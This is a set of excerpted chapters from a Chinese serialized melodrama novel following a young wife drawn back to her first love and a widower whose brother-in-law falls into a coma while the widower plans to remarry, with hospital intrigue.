一直没有吭声的国庆心里暗暗高兴,他担心晓雅不去,就没有和她接触的机会了,现在她答应了,张国庆心里一阵狂喜,想着一定要抓住机会了解这个貌美如
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花的女孩。
四个人边走边聊,到了宿舍门口,晓雅和同事去换衣服。
张国庆和朋友在院里等的时候,国庆对朋友说:“高洁的舍友条儿真顺。”
朋友明白了国庆的心思:“要不要我给你介绍介绍?”
国庆笑了笑,朝朋友弹了一个响指:“给你添麻烦了。”
朋友捶了一下国庆的背:“你小子这么客气我就不打听了?”
“哎哎哎,什么是朋友,,帮忙帮到底,能成人之美的像你这热心的人才是朋友,帮人找一媳妇,胜造七级浮屠,阿弥陀佛。”
张国庆说完做了个双手合十的动作。
看到国庆的动作朋友笑着说:“想女人想疯了,神经都不正常了,是不是脑子里哪根线搭错了?”
两个人会意的笑了起来。
正在两个人闲聊的时候,晓雅和同事从宿舍换了工服出来了。
张国庆根本没注意高洁的打扮,他的的眼睛从他看到晓雅从宿舍走来,就目不转睛的注视着晓雅。
让他惊讶的是晓雅穿了一件白色带碎蓝花的连衣裙,白里透红的皮肤更加显得妩媚动人,令他心动,双眼痴呆呆地随着晓雅的移动而移动。
朋友捅了一下他:“看得拔不出来了?走啦!”
被朋友轻轻的踢了一脚的张国庆不好意思的笑了笑,跟着他们向前走去。
四个人边走边聊着。
慢慢的张国庆放慢了脚步,落在他们三个人的身后,晓雅看到国庆的故意走慢 ,突然也意识到自己成了高洁的电灯泡,看到后面的张国庆,她逐渐也落在他两个人的后面。
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第8章 借口外出会初恋,何去何从惹人愁
晓雅抱着孩子边往回走边考虑如何给老公国庆说今天停工的事。
她轻轻的打开房间门,发现国庆并没有在家休息。
晓雅把孩子轻轻的放在床上,温柔的拍打着。
晓雅的心里乱成一团麻。
树欲静而风不止。
跟支书儿子道别后,晓雅陷入到一阵莫名的恐慌中,回想着自己和国庆的相识过程,心里在纠结着爱的天平倾向哪方。
看着熟睡的孩子,晓雅知道什么该做,什么不该做,没有回头路可走,只有面对现实一直走向前,哪怕前面是千丘万壑,也要一如既往。
自己不能在此事犹豫不决,再犯糊涂,婚姻不是今天相处在一起,明天挥手说拜拜的简单的尝试。它有一份坚守的约束力,它有一份责任的承诺,更有一份彼此的忠诚。
晓雅翻来覆去无法入睡,她起床准备洗孩子的衣服。
门开了,国庆回来了。
他望着手里端着脸盆的晓雅:“今天咋收拾这么早?”
看到邋里邋遢的老公,想到清瘦白净的支书儿子,晓雅在感到两个人不在一个档次上的同时,心里还是很害怕的,担心国庆知道她和支书儿子的见面。
晓雅极力回避国庆的眼光,故做镇静:“你不休息跑出去干啥?”
“我饿得不行了,在梦里想吃羊肉泡馍,看到端上来的泡馍,我咋都吃不上,简直把人能急死,结果醒来后,发现口水把枕巾都流湿了,是自己饿了肚子乱叫。我出去吃了一碗羊肉泡馍。嘿嘿嘿。”
听了老公的话,晓雅扑哧笑了一下:“看来每天睡觉前必须吃饱才能睡安稳。”说完端着脸盆走向院子的水池子。
晓雅知道,国庆在追自己的时候,根本不知道晓雅心里一直藏着支书的儿子,晓雅那时还是很痴心很专注的盼望着支书儿子的信息。包括到现在她也没有告诉国庆自己的心中爱人。
女人有时候会经历两个男人,一个是和自己一起过日子的男人,另一个是女人藏在心里永远无法忘记的男人,这恐怕就是情感的经历吧?
为了能够和国庆走到一起,年少无知的自己竟然和父亲断绝父女关系,直接和男方父母见面,自做主张代替家长,才和国庆生活在一起。
自己的付出值得吗?自己为什么要和国庆在一起?自己又为什么和父亲断绝父女关系?
晓雅突然觉得自从中午和支书儿子分手后,她为什么老在考虑这些自己以前很少想到这些问题。
洗完衣服,晓雅上到楼顶把衣服晾挂起来。
晓雅有个习惯就是每次晾完衣后总喜欢在露台上四处朝下看看,她觉得这样似乎把压在自己头上的帽子摘掉了,能直接看到蓝天,亲近大自然的。
今天她同往常一样,挂完衣服后顺便沿着露台四周往下望,她眼睛突然定格在一个人的身上。
谁?
支书儿子。
她再次细看,确认无疑,只见他正站在房东家的门前不停的往里面看,似乎在等着什么?
晓雅心里一紧,该不会是找自己吧?
为什么他要跟我到这里来?胆也太肥了?
晓雅匆忙下楼,她心里乱七八糟的推开房门,看到国庆和孩子正在安然入睡,便轻轻的合上门怀着忐忑不安的心情走出了大门。
清瘦白净的支书儿子正在门口溜达,晓雅四周看了一下,鼓起勇气朝他走去。
看到晓雅,
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支书儿子笑了一下:“你就住这儿。”
晓雅又看了一下周围小声说:“我人在家里,你赶快走,我明天找你去。”
“我不可以到你家坐坐吗?你咋不欢迎?”支书儿子不理解晓雅为何要赶他走?
“我是有家庭的人了,你快走,小心别人看到会惹事的。”晓雅小声近乎哀求。
支书儿子摇了摇头,无可奈何地离开了这里。
看着支书儿子离开,晓雅的心终于放了下来,她向四周望了一眼,幸亏没有人看到,否则就麻烦大了。
往回走的过程中,晓雅突然想到麻烦这两个字,难道支书儿子的到来真会给自己带来麻烦吗?
希望不会!
那自己必须要有狠心的定力,彻底摆脱这段不该再想接续的情感。为他负责,对自己负责,对家庭负责。
花前月下不能再现,柴米油盐才是现实。
要彻底让支书儿子死心,也让自己彻底死心,赶快结束这段突如其来的旧情。
回到家了,国庆正逗着孩子玩,看到晓雅问:“衣服洗完了?”
心里发虚的晓雅所问非所答的解释道:“我到楼上看到楼下有人在门口转悠了,就问是不是租房的,结果一问他竟不吭声走了。”
“男的女的?”国庆认真起来,抱着孩子走向门口:“让我看看是不是寻摸偷东西踩点的贼。”
说着就抱着孩子出了房门,站在二楼阳台朝院子看着。
心里担心的晓雅急忙说:“大白天不可能,别出去看了,人都被我问走了,不管了。你俩该吃饭了,赶快吃了去接班。”
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第8章 初尝禁果因冲动,年少不知惹祸端
何晓雅独自一人来到了支书儿子住的群英招待所,支书儿子把自己的疑惑全部抛了出来,在得到晓雅的答案后,许多问题他已知道一二,而在晓雅结婚不告诉家人的问题上,晓雅还是有所保留。
当支书问及晓雅是担心家里为什么不同意她和国庆的婚事时,晓雅选择了沉默。
在晓雅的心里,和国庆结婚与自己身怀有孕有直接的关系,晓雅也根本想不到两个年轻人的冲动也是她断绝父女关系的诱因。
那次看完电影回来后,晓雅根本没有对张国庆有任何印象,他只不过是晓雅认为的生命中的匆匆过客,甚至于有点讨厌这个处处为自己献殷勤的男孩子。
工友开玩笑问她对张国庆的印象如何?晓雅笑着说黑的像非洲人一样,没印象,更没感觉。
而这个晓雅没有感觉的张国庆却在第一次见了晓雅后,便发起近乎疯狂的攻势。
看完电影的第二天下午,晓雅和高洁在回宿舍的路上,听到有人喊她的名字。
晓雅寻声望去,只见那个昨天和她一块的洲黑人手里提着什么东西边喊她边招手。
高洁笑着说:“有人上道了,快去。”
晓雅感到一阵害臊,这么多的人,那男孩也不知害羞,大声呼喊自己的名字,引得大家目光都注视自己,太不好意思了,太,害羞死了。
晓雅并没有回应他,依然低着头,红着脸快步向前走去,她要让人们知道,那个男孩喊的不是自己,而是别人。
她极力的躲避着这个男孩,但怕什么就来什么,男孩子竟不知害羞的穿过人群跑到自己身边。
晓雅恨不得找个地缝赶紧钻进去。她真是讨厌这个让自己害羞的男孩!
晓雅当时的想法是,支书儿子已和自己在老家订婚,两人情投意合,缠绵大半年,彼此心中都在认定这桩姻缘,相互牵挂。如果和这个不入自己眼的男孩交往,一是对不住支书儿子,二是担心别人背地里说闲话,三是这个男孩自己没有一点喜欢的地方。
晓雅没理男孩,径直朝前走着。
高洁和男孩打了招呼,男孩从手提袋里取出一串葡萄塞到高洁手中:“快吃,我都洗净了。”
高洁拿着葡萄用手指了指走在前面的晓雅,示意把葡萄拿给晓雅,担心不够。男孩把手提袋往高洁眼前一展示,好家伙,还有几串子在里面。
男孩追上晓雅:“我刚喊你你没听见?”
晓雅连男孩看都不看:“人多,听不见。”她不停脚步继续走着。
“我给你送葡萄来了,刚拉来新鲜的,我都洗干净了。”男孩把手提袋提高给晓雅看:“你看新鲜不?”
晓雅仍在向前走着,她没有扭头看手提袋。
男孩提出一串葡萄要递给晓雅,晓雅停下了脚步,考虑到人太多,她勉强的接过葡萄拿在手中,板着脸问;“这么多熟人,我好意思吃不?”说着把手里的葡萄放进男孩手中的袋子里。
男孩看了看周围的人,笑着说:“考虑不周,考虑不周,下次注意。”
晓雅气的要死:“你觉得还有下一次吗?”
男孩挠挠头愣了一下。
马上到女员工宿舍了,男孩跟在晓雅后面准备从大门往进走。
把眼镜架在鼻梁上的看门阿姨看到有男孩进入,立马起身,站在门口:“喂,停下停下。”
阿姨用手指着男孩:“就是你,停下停下。”
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阿姨走到男孩面前:“谁让你进来的?”
男孩指着已经走远的晓雅:“她是我朋友。”
阿姨根本就没看晓雅,直接拦住男孩:“这里是女工宿舍,你没看到牌子上写的啥吗?”
顺着阿姨手指的方向,男孩看到牌子上写着男工禁止入内几个字。
“没看见,阿姨,对不起啊。”男孩边往后退着,边朝阿姨摇手。
看着男孩出了门,阿姨进了门卫室。
高洁从后面回来了,看着手里提着袋子的男孩:“你咋没给晓雅?她不要?”
男孩笑着说:“没顾得给,门卫不让进。你给她捎进去吧。”说着把手提袋交到高洁手中。
高洁把自己手里的那串葡萄放到袋子里:“我只能捎进去,人家接受不接受我可管不了?”
男孩说:“接不接受,主要工作还不是靠你做?”
“那好,我捎进去,咱可说好,人家不接受我就给舍友分享了。”高洁开着玩笑。
“你舍友也含晓雅在内的,分享一下,我没意见。”男孩点了一根烟对高洁说。
晓雅回到宿舍心里很是生气,没想到一面之交的这个男孩真是恬不知耻,丢我的人,弄得自己在众多人中羞涩难堪,没有一点尊重人的意识,没知识,少教养。大呼小叫,不管别人感受。
还讨好我送葡萄,别说一串葡萄,就是送一车葡萄,我也看都不看你一眼,你先用镜子把自己好好照照,能和我匹配吗?
晓雅又想到了支书儿子那清瘦白净的脸庞和那高高的个头。为什么让我对你念念不忘?为什么不见你的一封回信?
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第8章 献身初恋弥过错,家父住院为女怒
在支书儿子住的群英招待所的一楼六号房间,晓雅并不敢把自己未婚先孕的丢脸事告诉给支书儿子。
支书儿子老在纠住晓雅结婚为什么不告诉家里的问题不放,希望能有个解释,沉默的晓雅只说了一句我不想让父母再为我操心而搪塞过去。
沉默过后还是沉默,两人都在心里决择着未来。
突然支书儿子捧起晓雅的脸,深情地看着她,胸口起伏不定,晓雅能感觉到他急促的呼吸散发着微热的气息。
“如果我不愿放弃你,你会和我生活在一起吗?”支书儿子眼睛正视着晓雅。
看到晓雅那一眨一眨的大眼睛直勾勾望着自己一阵子后,又转向一方,无奈的说:“可能吗?”
“为什么不可能?我可是一直把你放在我心里的。”
“我也一样,到现在还把你记在心里,可一切都晚了。”晓雅抚摸着支书儿子的手轻轻的说着。
“只要你愿意,我一上班咱俩马上结婚,你同意吗?”支书儿子急切的问。
“先不说我是不是同意,先说你上班是咋回事?”晓雅避重就轻。
“咋回事,就是七月十八号到市城建局报到上班啊。”
“城建局?就在本市?”
“就在本市。”
晓雅站起身来,望着窗外:“该来的还是来了。”说完长长叹息了一下。
支书儿子也站起身走近晓雅:“你最不愿意见到我?”
晓雅转过身面对着支书儿子:“想见的时候总是在梦里,不该见到的时候却总在眼前,不见是想念,见了是痛苦,我也不知是见面好还是不见面好?”
支书儿子抚摸着晓雅的头发:“我还想天天见面。”
晓雅偎依在支书儿子怀里小声说:“那只能是一种奢望,根本不可能实现。”
“为什么?”支书儿子用手捧着晓雅的脸,看着她,问:“你说这是为什么?”
晓雅从支书儿子的眼神里看到了真诚,她想了想说:“只为我有个孩子。”说完望着支书儿子。
“孩子就是你不愿和我结婚的理由吗?”
“不是理由,是事实。你还是把我忘掉,不要想着和我结婚。”晓雅说这话的时候目光离开了支书儿子的双眼,鼻子发酸。
听了晓雅的这句话,支书儿子一下坐在床边:“你能把我忘掉吗?我是不会把你忘掉的。”
晓雅被问住了:“忘是忘不了的,只有忘在心里。你还是找别人结婚吧,不要让一个带着孩子的女人毁了你一生。”
“你不和我结婚才是真的毁我一生。”支书儿子说:“没有想到,我梦寐以求的你却是以这样的情景出现在我面前,我不会因为你有孩子而放弃对你的喜欢,更不会因为你的放弃而放弃,心里有爱,其他不是事。”
“我已经走到这今天这一步,你也看到了,不可能再像以前了,当初的过错还是让我自己承担吧。”晓雅安慰着他。
“当初的过错?你能不能说明白一点?”
“和你订婚我认为是当初的错。”晓雅违心的说出这些话,在她心里当初的错就是年轻冲动的怀孕,不敢坦白给支书儿子,她担心说出那些会对他是一种侮辱,一种不尊重人,更是对自己的一种瞧不起的贬低。
“不同意当初为什么要见面?以至于有后续,你后悔了?”
何晓雅不敢说什么,她知道,自己现在
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的不吭声或许是最好的回复。
支书儿子盯着晓雅:“你为什么没有见到我就结婚了?你真的把我忘了吗?”
看着满眼含泪的支书儿子,晓雅如哽在喉,心里难受。她把头紧紧的贴在他的胸口,眼泪从脸颊流了下来。
不到三年的时间里,发生了许许多多支书儿子认为不可能的事,而这些不可能却活生生地在现实中发生着。
晓雅心里明白,千错万错都是自己的错,自己酿的错,却要父母来承担,更要初恋来承担,对晓雅来说真是于心不忍。
“时间可能不允许我多待了,我要走了。”晓雅看了一下表,拍了拍支书儿子的胳膊。
“你没有答应我。”支书儿子还在执着着。
“我只能答应你的就是另找人结婚,我不会和你结婚的。”晓雅内心无比难受。
曾经的渴望见到心爱的人,见到心上人却痛苦不堪,难以抉择。面对心上人的苦苦追问,晓雅做出了一个大胆的决定以结束这段本该属于自己的爱情,告别自己曾经的初恋。
晓雅轻轻的用手捂着支书儿子的嘴:“什么都不要说,今天我就是你的。”
支书儿子一阵惊愕!
晓雅手拉着支书儿子引着他坐在床上,支书儿子木讷地任由晓雅摆布,他不知道晓雅接下来要干什么。
只见晓雅躺在床上,将裤子脱至脚面,拉着支书儿子让其上床。
支书儿子一阵懵圈,不知如何是好,更不知道会发生什么。
晓雅爬了起来开始松着支书儿子的皮带:“所有的一切都会因今天的约会而结束。”
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第9章 妻子过三周年的前一天,小舅子被摔进医院
沈莎莎因怀孕慢慢的开始显怀了,趁着姐姐的事她顺便提出了休假,很快得到了医院的批准。
吴之玄便让沈莎莎待在自己租的单元房里,减少出门,担心被医院人发现未婚先孕。
沈莎莎就这么暗无天日地待在出租屋内,白天不敢外出,只有晚上偶然乔装打扮一番和吴之玄溜达一圈。
吴之玄也考虑的周到,基本每个礼拜内都要开车载着沈莎莎到郊外游玩一次。
日子就这么平铺直叙地过着。
沈莎莎要临产的前几天,吴之玄把沈莎莎拉到提前联系好的邻县医院一直陪伴到女儿出生。
一个礼拜后,沈莎莎抱着女儿和吴之玄把女儿送到了九十多公里开外的宁馨家。
宁馨从刚开始的生疏到很快的熟练掌握照顾婴儿的技巧,许许多多的护理知识还都是沈莎莎教会她的。
和睦的相处,舒心的氛围,沈莎莎慢慢的融入到孩子奶妈的家庭中,一起照顾孩子,一起洗衣做饭,以至于沈莎莎开始喜欢起这种平静安逸的田园生活。
孩子满月的前一天,吴之玄提前在饭店买了许多肉和菜,带着两瓶好酒到山沟里来,一是要接沈莎莎回单位上班,二是感谢宁馨夫妇对孩子的贴心照顾,最后就算是两对父母给孩子做个满月宴。
吃饭过程中,宁馨的老公对孩子的脾气大为惊讶,或许是好酒的缘故,宁馨老公显得异常的兴奋:
“我给你们说实话,在娃还没来之前,我的心里一直老在担心一件事啊,就是害怕这小姑娘爱哭爱闹,结果快一个多月了,很少哭闹,除非是饿了,村里也几乎没人知道我家有小孩的样子,”
“今天我表态,孩子放我们家,你们尽管放心,你们该干啥干啥去,我会把她比亲生闺女还疼爱。”
说完举起右手给其他三人敬军礼,惹得大家哈哈大笑。
上车的时候,沈莎莎抱着孩子亲了又亲,当她把孩子递到宁馨手里时,眼泪刷刷地流了下来。
宁馨也感觉鼻子发酸,强忍着说:“有空常来,放心,快回吧。”接过孩子转身过去。
在一旁的宁馨老公看到这一幕把宁馨往家里推着,对沈莎莎说:
“孩是娘的心头肉,你不忍心没法走,赶紧上车走吧,要不然没法走了。”
沈莎莎没有吭声,流着泪上了车,也没和宁馨老公打招呼,低头抹泪,任凭吴之玄开车出村子。
在回家的路上,吴之玄看到沈莎莎一直掉眼泪,就安慰着说:“不要哭了,再过几个月娃就回来了,这都是暂时的。”
沈莎莎哭得更伤心了。
转眼到了吴之玄妻子张国英三周年纪念的日子了。
亲朋好友都张罗着帮忙干着活。
在给门口挂钨灯泡时,吴之玄的小舅子张国栋爬上了三角梯子去挂,由于地面太滑,三角梯子滑开,导致张国栋从梯子上向后跌落摔了下来,后脑勺着地,众人一阵忙活赶紧把人送往医院。
吴之玄的家里,迎来送往,一切照常。
而做为事主的吴之玄,从医院回来后,一直心不在焉,他关心的不是客人来多少,礼金收多少,他最关心的是躺在医院里的小舅子的病情是什么情况?
简单的晚奠仪式结束后,安排好客人后,吴之玄又一次赶到医院。
他直接来到急诊室,护士告诉他病人在心血管科。
吴之玄看到几个陪床人正在不停的扶着张国栋时而坐起,时而躺下,没
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有一丝安静和稳当。
更要命的是几个陪护人有时甚至于要强行压住病人的胳膊和腿,以防止张国栋的起床而走。吴之玄觉得头皮一阵阵发麻,不会是把脑子摔坏了吧?
想到这,吴之玄一阵慌恐,姐姐的三周年纪念日还没过,弟弟又躺在医院的病床上烦躁不安。
难道真是姐姐灵魂附体,惩罚这个曾经把她推倒在地的人吗?
冥冥之中,吴之玄觉着有点邪乎。
吴之玄走到表弟闫安跟前:“咋会出现这种情况?医生咋说?”
“情况很糟糕,这种状态还是使用镇静药的状态,医生说头部仍在渗血,正在等拍片结果。”
“没说下一步咋治疗?”
“等片子结果出来了再会诊。让我去看片子出来了没有?”闫安说完就下楼去了。
吴之玄看着烦躁不安的病人,心中涌起莫名的惆怅。
这件事目前岳丈还不知道,如果他知道了会是什么态度,又会出现什么状况?
国栋可是家里唯一的男孩啊,一旦有什么不测……
吴之玄不敢再往下想,但愿自己的考虑都是多余,希望国栋平安健康。无论花多少钱都要给他治病。
闫安拿着片子上来了直奔医生办公室,吴之玄跟了进去。
医生看完片子,摘下眼镜:“你俩是病人家属?”
吴之玄说:“那是我弟。”
医生用布子擦着眼镜:“从目前来,颅骨没有骨折,脑内血肿渗血还在继续,需要马上转院进行手术,如果你们同意的话我给你们办转院手续。”说完戴上眼镜望着吴之玄和闫安。
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第9章 发现院长婚外养小三,盼望结婚却事出不停
沈莎莎听到了什么?
院长的声音!
“我给她说我出差了,没事。”
更让沈莎莎惊讶的是,当她站在黑暗的楼道看到挽院长胳膊的那个人时,不敢相信竟是年年先进的产一科护士长!
两个人挽手在1单元和2单元之间的路上。
太狗血了!
院长都能当护士长的爸爸了,真是颠覆三观!
在寂静的凌晨,护士长细柔的声音沈莎莎还是听得一清二楚。
“我们为啥这时候要走呢?在这住一晚不好吗?”
“你真笨,白天万一被人发现了,咱俩都得完。现在你回宿舍,我回办公室,都能睡个安稳觉,给咱俩租的这地方不能光明正大的住,知道吗。”
随着两人的离开,后面的话根本听不见。
我的神啊,咋还有这事?
发愣的沈莎莎觉得这世界真的是奇葩有趣。
衣冠楚楚的院长是如此的道貌岸然。
回到房间不久,沈莎莎听到车辆的启动声音,在这寂静的凌晨,那声音显得是那么的大。
沈莎莎的认为,吴之玄并没有回来。
她急切想知道吴之玄把他俩的结婚日子订在什么时间?
吴之玄近段时间头很大,张国栋躺在重症监护室一直昏迷不醒,自开颅手术后都快一个月了,没有一点清醒的征兆。
吴之玄担心的不是花钱,在金钱和生命面前,他还是选择生命高于一切。
今天又拿着市医院的片子跑到省军医大学找教授咨询了一下。
教授的话人令吴之玄万念俱灰。
按病人的病情术后近一个月的时间还没有清醒过来,长期昏迷不可排除。
意思很明白。
这如何是好?
本来和沈莎莎计划好,等妻子三周年一过,马上就结婚。
可谁知却出了这样的事。邪门的是出事是在自己家里,如今人在重症监护室啥都不知道,教授又说出这样的话,下一步该咋办?
总不能让病人一直在重症监护室躺下去,总得有个办法啊!
吴之玄想到了姑伯。
姑伯在村里正在给村里的结婚家管事当经理,被姑妈叫回。
吴之玄把自己的的烦恼说完后,姑伯问:“你岳父现在知道不?”
“不知道。”
“那你准备隐瞒到啥时候?”
“等国栋清醒过来了再说。”
“人如果清醒不过来就不给说了?”
“……”
沉默了下来,谁都不言语。
姑伯点了一根烟:“你今天来想达到啥目的?”
“就是想快点把这事解决了。”
“能快点不?能解决不?病人还在重症室没啥反应,你就急着解决事,你说这是个啥事?一定能解决不?”
姑伯的发问让他答不上来。
姑伯停了停:“我理解你现在的处境,但娃啊,你这事毕竟发生在咱家里,可算是大事情,牵扯到生命安全,人命关天,你必须全力以赴。”
“你现在就去把你岳父拉到医院去看着儿子,万一不好的话,起码你尽到了你的责任,他也不会瞒埋你的。”
“第二件事就是积极和医院配合,先把人救灵醒,一切都好办。”
“我担心人好像难灵醒。”吴之玄说出自己的担心。
“这不是重点,重点是先让你岳父知道这件事,看看老人见了后的态度是啥?”
吴之玄回到医院和岳父的
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两个女儿商量是否可以让老人现在知道儿子张国栋住院的消息,两个女儿坚决反对,担心老人接受不了这样的事实。
吴之玄不理解两个女儿的固执,而自己又无法做通两人的工作,碍于情面,吴之玄只好先离开医院。
而在老家的岳父张老头此时正被村民送往县医院的途中。
邻居到张老头家商量中午去镇上买化肥的事,张老头不停的在腿上搔着皮肤发黑的小腿,直至溃烂分泌物渗出,看得邻居深感浑身起鸡皮疙瘩。
邻居说这么多年的皮肤病咋还没有好,张老头说科学家说皮肤病是死不了人的癌症。
两个人都笑了起来。
只见他从桶里里拿出来一串像花椒一样的东西,将颗粒挤出水汁,然后用手涂抹在自己的溃烂处。
看到张老头呲牙咧嘴万分痛苦的样子,邻居问是不是需要到医疗站去看看。
张老头说没必要,敷完这水汁后暂时疼一会儿就好了。他都用这种植物草几天了,能止痒。
看着张老头由呲牙咧嘴到恢复平静,邻居放心了:
“你从哪里搞的这东西?”邻居蹲下去细看着张老头扔在地上的植物。
“沟下面,我是那天下午腿痒的难受,就顺便折了几个这红豆豆,往上一抹,唉,还真不痒了,回来时就多弄了些放在家用。”
“这叫个啥名字吗?你敢胡用?”
“我也不知道,反正能止痒就行,我还把叶子泡水喝哩。”
邻居说尽量还是搞清来历,不要乱用。
张老头坚信自己所用的野草无毒性。
吃完早饭,邻居等不到张老头就去他家中
。
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第9章 做梦引起疑心生,儿子是否得安宁
岳父问到儿子国栋时,姑爷急切的答复让岳父心中生疑。
在重男轻女的岳父面前,儿子的动态会随时引得他关注。他没有在吴之玄面前流露出任何怀疑,只是心里记住了他当时急切的表情。
沈莎莎下班了,她来到了张老头的病房,没有见到吴之玄。
由于沈莎莎脱了衣帽,张老头一下子没有认出来。
看到推门进而入的女的,张老头也没在意,以为是探视邻床的。
“叔,现在觉得咋样?有啥不舒服?”沈莎莎走近张老头。
听到声音,张老头才注意到这个女的原来是急诊科的护士,忙说:“好着哩,好着哩,你没穿白大褂一下子还没认出来。”
“你没人陪护?”沈莎莎变相打听吴之玄的下落。
“打饭去了。”
“你如果有啥需要就吭声。”说完就匆匆出了病房。
张老头心里想,真是个好护士,挺暖心。
沈莎莎在半道碰到了刚打到饭的吴之玄。
“你晚上陪他?”
“不一定,他不要我陪。”
“那他娃哩?”
吴之玄愣了一下,不知如何回答。
“我先把饭送过去,把他一安顿就回去,你先回去等我,回去了说。”
“你在这儿吃还是回家吃?”
“你在哪吃?我就在那里吃。”
“那就回屋里吃。”
张老头还是执意把吴之玄催走了。
他觉得一个人待在病房,根本不需要任何人来陪,啥自己都可以料理,让吴之玄陪着完全是在消耗他的时间和精力,而且自己还拘束,对张老头来说,没有任何的不舒服。
吴之玄回到他和沈莎莎的出租屋时,沈莎莎已做好饭等着他。
吃饭时,沈莎莎看着低头不语的吴之玄,本来想着给他说一下自己在医院里定岗定岗的事,但一看到吴之玄的低落情绪就把话咽了回去。
“是不是你有啥心事,咋突然瘦成这了?”沈莎莎关切的问。
“我瘦了吗?我还没觉着。”吴之玄边吃边说。
“没有事咋这么长时间没回来?还说事一过完就买结婚用品哩,把人急的。”
“唉,”吴之玄叹息了一下,小声说:“可能咱这婚又得推迟了。”
沈莎莎突然站了起来:“你说啥?推迟结婚?咋了嘛?”
吴之玄放下碗:“我这么长时间没有回来,就是担心你问结婚的事,今天回来了,也必须让你知道。”
“啥事你还瞒着我?”
“我前妻的弟弟住院了。”
听了这话沈莎莎放心的坐在了椅子上:“她弟住院与你有啥关系哩,让他看病不就完了,和咱结婚八竿子打不着。”
“有可能是长期昏迷。”
“难不成变成植物人了?既是成了植物人与你有啥关系。我看你还是把她家里的人看的重,我在你心中屁都不是。”沈莎莎不高兴了。
“唉,你老说这些让人听着不舒服的话哩。他弟弟住院咋能跟我没关系。”
“跟你有关系,你是他姐夫,你是你岳父的好姑爷,他们家的事全都靠你解决,你能行。”沈莎莎没等吴之玄说完就开口说了。
“你能不能让人把话讲完?”
“讲完也是你给他家出钱出力么,就是这么个事,还有啥说的。”沈莎莎一脸不高兴。
“你知道她弟弟是咋住院的吗?”吴之玄问。
“笑话,谁不
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是因病住院的,难不成还是自己没病跑到医院住院的,问个话都不会问。”
“他是从滑落的梯子上摔下来的!”吴之玄提高了声音。
“摔下来与你有半毛钱的关系,咋,住院没钱找你了?”沈莎莎望着吴之玄:“噢,对了,想起一件事来。”
沈莎莎跑到衣服架子前,从外套里取出那张红色的缴费单,递到吴之玄手中:“你先把我今天给你岳父垫付的钱一报销,你有钱贴,我可没钱贴。”
吴之玄看到写着岳父姓名的缴费单笑了:“真没想到,你还是个好人。能在金钱上慷慨的人说明还是个通情达理的明白人,就凭这点,马上支付。”
“少给我戴高帽子,给钱。”沈莎莎拍了拍缴费票。
吴之玄拿过手包,从中拿出一沓钱,数都没数放在缴费票上面:“扣完你垫付的,剩下的是辛苦费。”
“你这辛苦费挺高的,这种事以后我多做点。”
“想的美!你是希望他经常住院,给你创收?”
两个人笑了起来。
沈莎莎想到了吴之玄刚说他前妻弟弟的事就问:“你刚没说她弟干啥去了从梯子摔下来了,厂里给算工伤不?”
“哪里是在厂里?在我家里。”
正在收拾碗筷的沈莎莎一愣:“你家里,咋回事?”沈莎莎把端在手中的碗筷又放到茶几上。
“你说倒霉不,他给门口挂个灯,梯子下面滑开了,把人摔下来后脑勺着地了。”
“后脑勺着地?要紧不?”沈莎莎急忙问。
“不要紧的话,我这么长时间没回来。”
“我咋在医院里不知道哩。”
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第9章 为寻儿子溜出医院,急坏姑爷把心担
岳父张老头楞是把姑爷吴之玄支走了,他一是感到吴之玄在这里自己太拘束,二是他心中有不能让人知道的秘密要亲自去完成。
护士来换药了,张老头问一护士自己是否今天可以出院?
护士小姐姐的话真多:“人家病人是我们催着让缴欠费,你这好,我们要想办法把你预缴的钱花完。好好休息,早着呢。”
张老头一听这话,不淡定了。
去他娘的,我咋还有预缴的钱?还要医院想办法花完?
长(chang)头全被狗贼的医院拿着,任凭医院按钱治疗用药,这不是在抢钱吗?我不够了可以给你补缴,但你也不能让我提前预存啊!
黑心的医院,宰人的医院,抢钱的医院,无奈的医院!
此时张老头气得各种能诅咒谩骂医院的污言秽语在脑子里涌现。
这到底是个啥道理?
张老头气得大声说:“口口声声说是人民医院,人民医院,可人民到你这里是个屁,人民要进这里来,没钱,对不起,你没有资格进人民医院。”
“人民住到人民医院才知道,这人民医院根本不是为了人民的,而是为了人民币的医院!”
护士听着张老头的埋怨瞪大了眼睛。
这老头恐怕该进监狱了。
发牢骚归发牢骚,自己要完成的秘密还是要付出行动的。
下午三点多,打完吊瓶后,张老头开始实施他的计划。
他从一楼的住院部开始,挨着每个病房寻问有没有住着一个叫张国栋的人。
从一楼到三楼,各个科室的住院部问遍,倒是有两个叫张国栋的人,一个是年龄和儿子相仿的眼疾患者,一个是比自己年龄大得多的退休老干部。
全医院住院部就这一个四层楼,除了四层是行政楼外,其他病房所有人问遍,就是没有自己的儿子。
难道遗漏了?
张老头看见有些人在护士值班处报一下病人名字,护士很快就能准确说出病人的房号。
张老头直接从三楼的护士值班处到一楼又问了个遍,竟然都和自己问的大体一致。
张老头心灰意冷,垂头丧气。
该不会在太平间里?
想到这,张老头觉得头皮发麻,忙骂自己:我可没说老张啊老张,是不是自己成了神经病了,咋能想到那里?
这怀疑如果让别人知道,丢脸不说,至少让人骂自己不配给孩子当父亲!
自己为什么就不能心里阳光点?灿烂点?向上点?
老在朝阴暗灰色方面考虑,也真是愧对父亲这两个字!
不要胡想!
现在自己的方案全都实施完了,但没有效果,下一步该采取啥措施?
在吴之玄岳父出院后的一个礼拜后,沈莎莎莫名其妙的被安排到医务科上班。
从此告别三班倒的工作,妥妥地成了只上白班,生活规律的行政管理人员了。
“行政管理?”沈莎莎不明就里地问人事科长。
“对,就是行政管理人员。”人事科长认真的对沈莎莎说:“说白了,你现在就是享受吃国家财政的人了,而且工资调高一档。”
“那怎么不让我回产二科了?”
“根据医院考察和院长提议,觉得你技术精,业务能力强,符合条件进医务科。”科长说着官话,沈莎莎似懂非懂。
“那还能回产二科不?”
人事科长笑了:“你咋老想着产二科哩,产二科以后属于你管理的范畴
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,得服从你医务科的管理。”
沈莎莎老忘不了那天办公室主任通知她到人事科,科长给她看的红头文件和两个人当着办公室主任的面所说的这些话。
太阳从西边出来了?
沈莎莎百思不得其解。
沈莎莎之所以不明白这其中的原因,与院长的做贼心虚密不可分。
沈莎莎租住的房子是仪表厂家属区的单元房。
要说这里的租金贵,还不是人家生活配套设施齐全。
仪表厂还给家属院专门建了锅炉房供居民使用热水。
那天中午一点多钟,沈莎莎提着水壶到锅炉房打水。
刚出单元门,看见夹着公文包的院长正从院子往外走。
“赵院长。”沈莎莎喊了一下。
此时的赵院长已和沈莎莎打了个正面,听到叫声,赵院长惊了一下,神色慌张地说:“啊,你也住这儿?”
